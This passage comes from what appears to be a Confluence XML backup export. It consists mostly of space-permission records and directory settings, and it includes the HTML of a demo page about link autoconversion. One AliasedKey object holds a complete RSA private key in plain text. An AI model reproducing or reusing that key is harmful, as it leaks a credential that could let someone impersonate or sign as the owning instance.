<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.394</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.394</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458784</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.376</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.376</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458785</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.379</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.379</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458786</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.381</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.381</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458787</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.384</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.384</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458780</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEBLOG]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.367</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.367</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458781</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEBLOG]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.369</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.369</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458782</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEBLOG]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.371</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.371</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458783</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.374</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.374</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458776</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEPAGE]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.356</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.356</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458777</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.361</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.361</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458778</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.363</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.363</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458779</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.365</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.365</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458772</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITSPACE]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.346</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.346</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458773</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[SETSPACEPERMISSIONS]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.349</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.349</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458774</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEPAGE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.351</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.351</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458775</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEPAGE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.353</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.353</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458768</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[COMMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.336</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.336</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458769</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[COMMENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.339</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.339</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458770</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.341</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458771</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.344</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.344</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458764</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.323</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.323</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458765</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.326</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.326</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458766</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.329</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.329</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458767</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[COMMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.332</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.332</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458760</id>
|
||||
<property name="type"><![CDATA[CREATESPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.418</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.418</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458761</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[VIEWSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.263</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.263</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458762</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[VIEWSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.305</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.305</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458763</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[VIEWSPACE]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.315</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.315</property>
|
||||
</object>
|
||||
<object class="AliasedKey" package="com.atlassian.confluence.security.persistence.dao.hibernate">
|
||||
<id name="id">65537</id>
|
||||
<property name="alias"><![CDATA[confluence:174556]]></property>
|
||||
<property name="key"><![CDATA[ RSA public MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArOTFjqwSVsGy6FLWppvYB04deZb5FsAe8BwS2mub/YFUOmc61ia97mcHDaqPKyRrM7QlJUdAQXRWMqycZuumGUahSyC6xsxsQLHSPsf2f6f1naTdL4anPfvzWlYaAl+WAPydpY9ZkgWlxXxzbmvd8Av4Ay84P8qfCNdufpn9QshrV0F3ZODU4gCr2LJRd49eWGSpxUJDvL9MQNOrxtyaDb9r/mxZ48Ed0Fn+kBmLrBxryyC055I0dBIS+JKDQb3qbHymwBQ1qYPdR85BIO6ozYd4UQ1ZeaeKK4T/zn7nohlVyLlDhcfGW0SicxkGfXOiDl8YgaGZeJQXSiQeHTYRYwIDAQAB ]]></property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458756</id>
|
||||
<property name="type"><![CDATA[USECONFLUENCE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.397</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.397</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458757</id>
|
||||
<property name="type"><![CDATA[SYSTEMADMINISTRATOR]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.406</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.406</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458758</id>
|
||||
<property name="type"><![CDATA[PERSONALSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.410</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.410</property>
|
||||
</object>
|
||||
<object class="AliasedKey" package="com.atlassian.confluence.security.persistence.dao.hibernate">
|
||||
<id name="id">65538</id>
|
||||
<property name="alias"><![CDATA[confluence:174556]]></property>
|
||||
<property name="key"><![CDATA[ RSA private MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCs5MWOrBJWwbLoUtamm9gHTh15lvkWwB7wHBLaa5v9gVQ6ZzrWJr3uZwcNqo8rJGsztCUlR0BBdFYyrJxm66YZRqFLILrGzGxAsdI+x/Z/p/WdpN0vhqc9+/NaVhoCX5YA/J2lj1mSBaXFfHNua93wC/gDLzg/yp8I125+mf1CyGtXQXdk4NTiAKvYslF3j15YZKnFQkO8v0xA06vG3JoNv2v+bFnjwR3QWf6QGYusHGvLILTnkjR0EhL4koNBvepsfKbAFDWpg91HzkEg7qjNh3hRDVl5p4orhP/OfueiGVXIuUOFx8ZbRKJzGQZ9c6IOXxiBoZl4lBdKJB4dNhFjAgMBAAECggEAM9D+moNcna7AyVsmZNmZNZtGPy4tqhFbVFf9mIOexSvRDA3rNsp2qvAqz4A6F1J7ZIwNg+4mRlexC8/qsffXGIUwCv2crL8QhJUmr1UrvdefR6dk+Pzwu6V6qiza77IpGVOchcWAMUDLDXR+fe4LHonfw0iQIaI+5p32SjAplK1QsFbUmcmNqDr+lBIord6xwRjqJJnN5scHfV3zPKn8boida508IaSrvpFBfEMcq77Mw0wPKzPFToKGkOaGAp2mRNBoz9j4vVvy0snOee51tRtlVPu1+Hp8q4nNbif8oJPc9eVjSO48kUOncIZmyx4HYc04UgYn5du66vnqbEbjGQKBgQDoUz/GFrP5zaWPB1AJZgeDUt8+3D9eH7C96J9Td3gaNsVsLgRHd98L8oQaTZxxSrKCAEFkroI15Sapa4HZ0klrWTmZWk0Z2nP8YsotPz345+Ywj4a9+m7+HBisDREt+vT8X3lV83B22/WyQf8dd8Bo1XBslve0H0c8S+8BB5C/aQKBgQC+gxw8gm55a95EFLMS3xDtuJTaUkqHm35k5Hd11G4wSetlTCVRKQ5ErnpSvTFH4f2n5Ke4CEdFFgqYIlnhIfzUYyfeeswcxokbwFnDiF8e76Uel0Asng8a0TbJEmGtrkCAW9cQSFX5gFx26VwT7BW2Tu6GzoY8pduq9h2ihTP86wKBgQCkBlKaSmEa1uQyjRkm6ZAYWaQgP2PF0l34VopWZZy39T+BVyPSSYGCb+BwqabwHarWOdPxf3uTDYw0RSDSZrNLRR1zddvFiwQkhqLzOxlH6IIOeubIrk06vx90KW2dpvbcT5Pc6RjX8ggPqKSza16/JSJQqG2OEB89JOdDNNIvMQKBgQCx/fDtn7bzfpJk7Sn5oatBTsjTyTqUw/Qs8z+hON3SA94IAEKFN2R7SsBCeTyHul6w8/K3ABUGOPeg98cdjhGXpSRkujnlUKBc6zNyegDU+HU+xXVRukLGfV1AMwpLqJfe1O9z6QFaYFEDUDeU7WfDsq8sB9xm4VcAvX0mkGjoDQKBgAiPqCJ/bRYhkbs4ZRRfioa5EfQG6oH9VEVHSXP4lG+wzRMjFKOvA+cosXlnZlkqTFzX2bFW2Hm582ikaY1AYHS/gGNPKoN5FRxR+4s3bZ4kQ2YRj1X6aTnE6cG5UWyzHKQXmxYSiLEbS1bofb1D8qaBVWhoJ74DcsfWCeY58gGT ]]></property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458759</id>
|
||||
<property name="type"><![CDATA[CREATESPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.415</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.415</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458753</id>
|
||||
<property name="type"><![CDATA[USECONFLUENCE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.336</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.336</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458754</id>
|
||||
<property name="type"><![CDATA[PERSONALSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.391</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.391</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458755</id>
|
||||
<property name="type"><![CDATA[ADMINISTRATECONFLUENCE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.394</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.394</property>
|
||||
</object>
|
||||
<object class="DirectoryImpl" package="com.atlassian.crowd.model.directory">
|
||||
<id name="id">360449</id>
|
||||
<property name="name"><![CDATA[Confluence Internal Directory]]></property>
|
||||
<property name="lowerName"><![CDATA[confluence internal directory]]></property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.127</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.127</property>
|
||||
<property name="active">true</property>
|
||||
<property name="description"><![CDATA[Confluence default internal directory]]></property>
|
||||
<property name="implementationClass"><![CDATA[com.atlassian.crowd.directory.InternalDirectory]]></property>
|
||||
<property name="lowerImplementationClass"><![CDATA[com.atlassian.crowd.directory.internaldirectory]]></property>
|
||||
<property name="type" enum-class="DirectoryType" package="com.atlassian.crowd.embedded.api">INTERNAL</property>
|
||||
<collection name="allowedOperations" class="java.util.Set"><element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_ROLE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_USER_ATTRIBUTE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_USER</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_ROLE</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">CREATE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">DELETE_GROUP</element>
|
||||
<element enum-class="OperationType" package="com.atlassian.crowd.embedded.api">UPDATE_ROLE</element>
|
||||
</collection>
|
||||
<collection name="attributes" class="java.util.Map"><element name="user_encryption_method" type="string"><![CDATA[atlassian-security]]></element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="ApplicationImpl" package="com.atlassian.crowd.model.application">
|
||||
<id name="id">327681</id>
|
||||
<property name="name"><![CDATA[crowd-embedded]]></property>
|
||||
<property name="lowerName"><![CDATA[crowd-embedded]]></property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.083</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.165</property>
|
||||
<property name="active">true</property>
|
||||
<property name="description"/><property name="type" enum-class="ApplicationType" package="com.atlassian.crowd.model.application">GENERIC_APPLICATION</property>
|
||||
<component name="credential"><property name="credential" type="string"><![CDATA[X]]></property>
|
||||
</component>
|
||||
<collection name="attributes" class="java.util.Map"><element name="com.sun.jndi.ldap.connect.pool.initsize" type="string"><![CDATA[1]]></element>
|
||||
<element name="atlassian_sha1_applied" type="string"><![CDATA[true]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.timeout" type="string"><![CDATA[30000]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.authentication" type="string"><![CDATA[simple]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.maxsize" type="string"><![CDATA[0]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.prefsize" type="string"><![CDATA[10]]></element>
|
||||
<element name="aggregateMemberships" type="string"><![CDATA[true]]></element>
|
||||
<element name="com.sun.jndi.ldap.connect.pool.protocol" type="string"><![CDATA[plain ssl]]></element>
|
||||
</collection>
|
||||
<collection name="directoryMappings" class="java.util.List"><element class="DirectoryMapping" package="com.atlassian.crowd.model.application"><id name="id">393217</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163844</id>
|
||||
<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p><span style="color: rgb(64,64,64);">Confluence automatically transforms linked content</span> <span style="color: rgb(64,64,64);">into rich content.</span> <span style="color: rgb(64,64,64);">Try it with Confluence pages, JIRA issues, YouTube and Vimeo videos, <br /></span><span style="color: rgb(64,64,64);">Flickr photo streams, Tweets, Google maps and many more.</span></p><p><span style="color: rgb(64,64,64);">Here's two examples of autoconvert in action.</span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_equal"><ac:layout-cell><h3> <br /><ac:structured-macro ac:name="widget" ac:schema-version="1" ac:macro-id="e115eec2-dcf7-445c-b563-aca39824d38e"><ac:parameter ac:name="url"><ri:url ri:value="http://youtube.com/watch?v=RXhL9cfwx2c" /></ac:parameter></ac:structured-macro></h3></ac:layout-cell><ac:layout-cell><p><span style="color: rgb(0,0,0);"> <ac:structured-macro ac:name="widget" ac:schema-version="1" ac:macro-id="6f0d84bb-46ee-40a0-8379-fb9a87faf7c7"><ac:parameter ac:name="url"><ri:url ri:value="https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radius=15000&t=m&z=18&iwloc=A" /></ac:parameter></ac:structured-macro> </span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_equal"><ac:layout-cell><h3><span style="color: rgb(51,51,51);">Try it yourself:</span></h3><ol><li><span> <span> <span style="color: rgb(51,51,51);"> <span> <strong>Edit</strong> this page.</span> </span> </span> </span></li><li><span> <span> <span style="color: rgb(51,51,51);"> <span>Copy this link <a href="https://youtu.be/RXhL9cfwx2c">https://youtu.be/RXhL9cfwx2c</a> and paste it onto the page.</span> <br /></span> </span> </span></li><li><span style="color: rgb(51,51,51);">Autoconvert will embed the YouTube video on the page.</span></li><li><span style="color: rgb(51,51,51);">Save the page. <br /></span></li></ol></ac:layout-cell><ac:layout-cell><h3><span style="color: rgb(51,51,51);"> <span style="color: rgb(51,51,51);">Try it yourself</span>:</span></h3><ol><li><strong>Edit</strong> this page.</li><li>Copy this link <a href="https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radius=15000&t=m&z=18&iwloc=A">https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radius=15000&t=m&z=18&iwloc=A</a> and paste it onto the page. </li><li>Autoconvert will render the Google Maps view on the page.</li><li><span style="color: rgb(51,51,51);">Save the page. <br /></span></li></ol></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"> <br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"> <ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> </span></h1><p><span style="color: rgb(51,51,51);"> <br /></span></p></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163845</id>
|
||||
